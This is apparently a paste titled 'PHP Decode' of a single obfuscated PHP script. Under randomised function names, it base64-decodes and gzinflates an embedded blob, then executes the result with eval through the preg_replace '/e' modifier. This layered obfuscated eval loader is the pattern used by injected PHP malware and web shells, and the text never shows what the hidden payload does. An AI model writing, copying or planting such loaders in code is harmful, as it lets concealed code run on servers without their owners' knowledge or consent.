PHP Decode

<?php function _Fm97HC($_76DsnG) {
    $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    $chr1 = $chr2 = $chr3 = "";
    $enc1 = $enc2 = $enc3 = $enc4 = "";
    $i = 0;
    $output = "";
    $_76DsnG = preg_replace("[^A-Za-z0-9\+\/\=]", "", $_76DsnG);
    do {
        $enc1 = strpos($keyStr, substr($_76DsnG, $i++, 1));
        $enc2 = strpos($keyStr, substr($_76DsnG, $i++, 1));
        $enc3 = strpos($keyStr, substr($_76DsnG, $i++, 1));
        $enc4 = strpos($keyStr, substr($_76DsnG, $i++, 1));
        $chr1 = ($enc1 << 2) | ($enc2 >> 4);
        $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
        $chr3 = (($enc3 & 3) << 6) | $enc4;
        $output = $output . chr((int)$chr1);
        if ($enc3 != 64) {
            $output = $output . chr((int)$chr2);
        }
        if ($enc4 != 64) {
            $output = $output . chr((int)$chr3);
        }
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
    } while ($i < strlen($_76DsnG));
    return $output;
}
function _hlKPU9($_mSfkPZ) {
    return _Fm97HC($_mSfkPZ);
}
function _KPN6tf($_ZHY7ci) {
    return gzinflate($_ZHY7ci, 0);
}
function _9KB63V($_l4bir9) {
    return eval($_l4bir9);
}
$_W9BlGv = "3VTLkoIwEPwlSGSVI8QyiIgLujxyM4mFCgFLYjB+/WLh7nW5urfpmq6Z6e6qmUdNiEQyIem68SGvSRYVey822LxRATCvHLMbEzNFRFIRZJcUrPUGhCYTXRF8zUZw75Ahs6SQ3yi2jwS5DffibnOaKZpKg2hLU20LkiZlAGKVP5bTHBwlBVGxgkVBsH1en2VHMr9d4qHPhFEEmS9euF7t2hDVYUPSe5uBf6HFYjCu6LaoOeAVH7MHJpoiR+7031zq8S5IY8WB1VKwKJf4aHDP+Qi0LfcwroPa7z0gFUkj9br5vMemIsi5HpA7eAHd6unbq6/p1pFM5AM+scumM1YMLx69jobVX2+eh6sYTm4rxCEBiTHGL/6ciczPEdyWQ0f2NaTirvJ0lEcNTe1yieTk9278zP8nG1/2uzU5DdjX5XQeXbocWAZd2NUBJ+f31jL8rH0WTb8B";
preg_replace('/.*/e', "_9KB63V(_hlKPU9(_KPN6tf(_hlKPU9($_W9BlGv),0)))", '.'); ?>